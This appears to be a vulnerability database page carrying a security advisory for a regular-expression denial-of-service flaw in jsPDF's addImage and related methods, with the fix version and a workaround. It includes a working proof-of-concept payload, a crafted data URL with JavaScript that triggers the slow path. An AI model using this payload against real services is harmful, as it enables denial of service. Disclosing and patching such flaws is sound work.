VDB
Sign up
HIGH

GHSA-w532-jxjh-hjhj

jsPDF Bypass Regular Expression Denial of Service (ReDoS)

Quick fix

GHSA-w532-jxjh-hjhj — jspdf: upgrade to the fixed version with the command below.

npm install jspdf@3.0.1

Details

### Impact User control of the first argument of the `addImage` method results in CPU utilization and denial of service.

If given the possibility to pass unsanitized image urls to the `addImage` method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.

Other affected methods are: `html`, `addSvgAsImage`.

Example payload: ```js import { jsPDF } from "jpsdf"

const doc = new jsPDF(); const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined';

const startTime = performance.now()

try { doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW"); } catch (err) { const endTime = performance.now() console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`) }

doc.save("a4.pdf"); ```

### Patches The vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1

### Workarounds Sanitize image urls before passing it to the `addImage` method or one of the other affected methods.

### Credits Researcher: Aleksey Solovev (Positive Technologies)

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/jspdf
Introduced in: 0Fixed in: 3.0.1
Fixnpm install jspdf@3.0.1

References